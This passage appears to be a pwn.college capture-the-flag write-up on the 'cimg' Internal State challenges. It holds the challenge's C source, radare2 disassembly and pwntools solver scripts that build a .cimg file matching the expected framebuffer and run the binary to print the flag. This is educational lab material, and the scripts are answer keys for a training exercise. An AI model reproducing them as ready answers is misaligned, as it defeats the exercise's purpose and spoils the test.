"<4sHBBI", magic, version, width, height, remaining_directives
)

# 5. 构造 Directive Code (<H)
directive_code = 31190
directive_header = struct.pack("<H", directive_code)

# 7. 组装并保存 Payload
payload = file_header + directive_header + pixel_data

file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

log.success(f"Payload generated: {len(payload)} bytes.")

# 8. 直接运行目标拿到 Flag
p = process([binary_path, file_name], stdin=process.PTY, stdout=process.PTY)
print(p.recvall().decode(errors="ignore"))


if __name__ == "__main__":
build_payload()

Internal State (C)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
// ...
char desired_output[] = ""; // too large
// ...
#define COLOR_PIXEL_FMT "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m"
// ...
typedef struct
{
union
{
char data[24];
struct term_str_st
{
char color_set[7]; // \x1b[38;2;
char r[3]; // 255
char s1; // ;
char g[3]; // 255
char s2; // ;
char b[3]; // 255
char m; // m
char c; // X
char color_reset[4]; // \x1b[0m
} str;
};
} term_pixel_t;

struct cimg
{
struct cimg_header header;
unsigned num_pixels;
term_pixel_t *framebuffer;
};

#define CIMG_NUM_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_DATA_SIZE(cimg) (CIMG_NUM_PIXELS(cimg) * sizeof(pixel_t))
#define CIMG_FRAMEBUFFER_PIXELS(cimg) ((cimg)->header.width * (cimg)->header.height)
#define CIMG_FRAMEBUFFER_SIZE(cimg) (CIMG_FRAMEBUFFER_PIXELS(cimg) * sizeof(term_pixel_t))

void display(struct cimg *cimg, pixel_t *data)
{
int idx = 0;
for (int y = 0; y < cimg->header.height; y++)
{
for (int x = 0; x < cimg->header.width; x++)
{
idx = (0+y)*((cimg)->header.width) + ((0+x)%((cimg)->header.width));
char emit_tmp[24+1];
snprintf(emit_tmp, sizeof(emit_tmp), "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m", data[y * cimg->header.width + x].r, data[y * cimg->header.width + x].g, data[y * cimg->header.width + x].b, data[y * cimg->header.width + x].ascii);
memcpy((cimg)->framebuffer[idx%(cimg)->num_pixels].data, emit_tmp, 24);

}
}

for (int i = 0; i < cimg->header.height; i++)
{
write(1, cimg->framebuffer+i*cimg->header.width, sizeof(term_pixel_t)*cimg->header.width);
write(1, "\x1b[38;2;000;000;000m\n\x1b[0m", 24);
}
}

struct cimg *initialize_framebuffer(struct cimg *cimg)
{
cimg->num_pixels = CIMG_FRAMEBUFFER_PIXELS(cimg);
cimg->framebuffer = malloc(CIMG_FRAMEBUFFER_SIZE(cimg)+1);
if (cimg->framebuffer == NULL)
{
puts("ERROR: Failed to allocate memory for the framebuffer!");
exit(-1);
}
for (int idx = 0; idx < cimg->num_pixels; idx += 1)
{
char emit_tmp[24+1];
snprintf(emit_tmp, sizeof(emit_tmp), "\x1b[38;2;%03d;%03d;%03dm%c\x1b[0m", 255, 255, 255, ' ');
memcpy(cimg->framebuffer[idx].data, emit_tmp, 24);

}

return cimg;
}

void __attribute__ ((constructor)) disable_buffering() {
//...
}

int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 2)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

unsigned long data_size = cimg.header.width * cimg.header.height * sizeof(pixel_t);
pixel_t *data = malloc(data_size);
if (data == NULL)
{
puts("ERROR: Failed to allocate memory for the image data!");
exit(-1);
}
read_exact(0, data, data_size, "ERROR: Failed to read data!", -1);

for (int i = 0; i < cimg.header.width * cimg.header.height; i++)
{
if (data[i].ascii < 0x20 || data[i].ascii > 0x7e)
{
fprintf(stderr, "ERROR: Invalid character 0x%x in the image data!\n", data[i].ascii);
exit(-1);
}
}

display(&cimg, data);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (won) win();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import re
import struct

from pwn import *

def build_payload():
# 1. 直接读取目标 C 源码文件
try:
with open("/challenge/cimg.c", "r") as f:
src = f.read()
except FileNotFoundError:
return

# 2. 使用正则提取 desired_output 字符串
match = re.search(r'char desired_output\[\] = "(.*?)";', src, re.DOTALL)
if not match:
return

raw_c_str = match.group(1)

# 3. 解除 C 语言的字符串转义 (\x1b -> 真实 ESC 字节, \\ -> \)
decoded_bytes = bytes(raw_c_str, "utf-8").decode("unicode_escape").encode("latin1")

# 去除末尾的 C 语言 null terminator (\x00)
if decoded_bytes.endswith(b"\x00"):
decoded_bytes = decoded_bytes[:-1]

# 4. 计算总像素数 (每个终端像素刚好 24 字节)
# \x1b[38;2;RRR;GGG;BBBmc\x1b[0m
PIXEL_LEN = 24
num_pixels = len(decoded_bytes) // PIXEL_LEN

# 5. 因式分解,找出合法的 width 和 height ( 0~255 )
width, height = 0, 0
for w in range(1, 256):
if num_pixels % w == 0:
h = num_pixels // w
if h <= 255:
width, height = w, h
break

if width == 0:
log.error("Could not factorize num_pixels into valid uint8_t bounds.")
return

log.info(f"Calculated valid constraints: Width = {width}, Height = {height}")

# 6. 构造 8 Bytes Header (<4sHBB)
magic = b"cIMG"
version = 2
file_header = struct.pack("<4sHBB", magic, version, width, height)

# 7. 提取每个像素的 R, G, B, ASCII 构建数据段
pixel_data = bytearray()
for i in range(num_pixels):
chunk = decoded_bytes[i * PIXEL_LEN : (i + 1) * PIXEL_LEN]

# 精确内存对齐切片:
# chunk[7:10] R 3 bytes
# chunk[11:14] G 3 bytes
# chunk[15:18] = B 3 bytes
# chunk[19] = ASCII 1 byte
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
char_byte = chunk[19]

pixel_data += struct.pack("<BBBB", r, g, b, char_byte)

# 8. 组装 Payload 并写入文件
payload = file_header + pixel_data
file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

log.success(f"Payload generated: {len(payload)} bytes.")

# 9. 运行二进制并拿 Flag
p = process(["/challenge/cimg", file_name], stdin=process.PTY, stdout=process.PTY)
print(p.recvall().decode(errors="ignore"))

if __name__ == "__main__":
build_payload()

pwn.college{**********************************************}

Internal State (x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
            0x00401405      4c8d25142c..   lea r12, obj.desired_output    ; 0x404020 // go to check desired_output
0x0040140c 31db xor ebx, ebx
0x0040140e e8c8020000 call sym.display ;[3]
0x00401413 448b742408 mov r14d, dword [rsp + 8]
0x00401418 4c8b6c2410 mov r13, qword [rsp + 0x10]
0x0040141d 4181fee401.. cmp r14d, 0x1e4 ; 484 ; pixel count
0x00401424 0f94c3 sete bl
0x00401427 31ed xor ebp, ebp
0x00401429 4531ff xor r15d, r15d
┌─> 0x0040142c 81fde4010000 cmp ebp, 0x1e4 ; 484
┌──< 0x00401432 743c je 0x401470
│╎ 0x00401434 4139ee cmp r14d, ebp
┌───< 0x00401437 7637 jbe 0x401470
││╎ 0x00401439 418a4513 mov al, byte [r13 + 0x13]
││╎ 0x0040143d 413a442413 cmp al, byte [r12 + 0x13]
││╎ 0x00401442 410f45df cmovne ebx, r15d
││╎ 0x00401446 3c20 cmp al, 0x20 ; 32
┌────< 0x00401448 741a je 0x401464
│││╎ 0x0040144a 3c0a cmp al, 0xa ; 10
┌─────< 0x0040144c 7416 je 0x401464
││││╎ 0x0040144e ba18000000 mov edx, 0x18 ; 24
││││╎ 0x00401453 4c89e6 mov rsi, r12
││││╎ 0x00401456 4c89ef mov rdi, r13
││││╎ 0x00401459 e882fdffff call sym.imp.memcmp ;[4]
││││╎ 0x0040145e 85c0 test eax, eax
││││╎ 0x00401460 410f45df cmovne ebx, r15d
└└────> 0x00401464 ffc5 inc ebp
││╎ 0x00401466 4983c518 add r13, 0x18 ; 24
││╎ 0x0040146a 4983c418 add r12, 0x18 ; 24
││└─< 0x0040146e ebbc jmp 0x40142c
└└──> 0x00401470 85db test ebx, ebx
┌─< 0x00401472 7407 je 0x40147b
│ 0x00401474 31c0 xor eax, eax
│ 0x00401476 e81b010000 call sym.win ;[5]
└─> 0x0040147b 488b442418 mov rax, qword [rsp + 0x18]
0x00401480 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401489 7405 je 0x401490
│ 0x0040148b e800fdffff call sym.imp.__stack_chk_fail ;[6]
└─> 0x00401490 4883c428 add rsp, 0x28
0x00401494 31c0 xor eax, eax
0x00401496 5b pop rbx
0x00401497 5d pop rbp
> px 200 @ 0x404020
- offset - 2021 2223 2425 2627 2829 2A2B 2C2D 2E2F 0123456789ABCDEF
0x00404020 1b5b 3338 3b32 3b32 3535 3b32 3535 3b32 .[38;2;255;255;2
0x00404030 3535 6d2e 1b5b 306d 1b5b 3338 3b32 3b32 55m..[0m.[38;2;2
0x00404040 3535 3b32 3535 3b32 3535 6d2d 1b5b 306d 55;255;255m-.[0m
0x00404050 1b5b 3338 3b32 3b32 3535 3b32 3535 3b32 .[38;2;255;255;2
0x00404060 3535 6d2d 1b5b 306d 1b5b 3338 3b32 3b32 55m-.[0m.[38;2;2
0x00404070 3535 3b32 3535 3b32 3535 6d2d 1b5b 306d 55;255;255m-.[0m
0x00404080 1b5b 3338 3b32 3b32 3535 3b32 3535 3b32 .[38;2;255;255;2
# ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import struct

from pwn import *

def build_payload():
binary_path = "/challenge/cimg"
try:
elf = ELF(binary_path, checksec=False)
except Exception as e:
log.error(f"Failed to load ELF: {e}")
return

# 2. 我们通过 radare2 分析已知 desired_output 的地址是 0x404020
# 从汇编 cmp r14d, 0x1e4 得知,总共 484 个像素
desired_output_addr = 0x404020
num_pixels = 0x1E4 # 484
pixel_len = 24
total_bytes = num_pixels * pixel_len

log.info(
f"Extracting {total_bytes} bytes from address {hex(desired_output_addr)}..."
)

# 3. 从 ELF 文件中读取这些字节
try:
raw_ansi_data = elf.read(desired_output_addr, total_bytes)
except Exception as e:
log.error(f"Failed to read from ELF memory: {e}")
return

# 4. 提取颜色和字符数据 (<BBBB)
pixel_data = bytearray()
for i in range(num_pixels):
chunk = raw_ansi_data[i * pixel_len : (i + 1) * pixel_len]

# 典型的 chunk: b'\x1b[38;2;255;255;255m.\x1b[0m'
# 索引提取: R (7:10), G (11:14), B (15:18), ASCII (19)
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
char_byte = chunk[19]

pixel_data += struct.pack("<BBBB", r, g, b, char_byte)
except ValueError as e:
log.error(f"Failed to parse chunk at index {i}: {chunk}. Error: {e}")
return

# 5. 484 = 22 x 22
width = 22
height = 22
assert width * height == num_pixels, "Dimension logic error!"

# 6. 打包 Header (<4sHBB)
magic = b"cIMG"
version = 2
file_header = struct.pack("<4sHBB", magic, version, width, height)

# 7. 组装并保存 Payload
payload = file_header + pixel_data
file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

log.success(f"Payload generated: {len(payload)} bytes.")

# 8. 直接运行目标拿到 Flag
p = process([binary_path, file_name], stdin=process.PTY, stdout=process.PTY)
print(p.recvall().decode(errors="ignore"))


if __name__ == "__main__":
build_payload()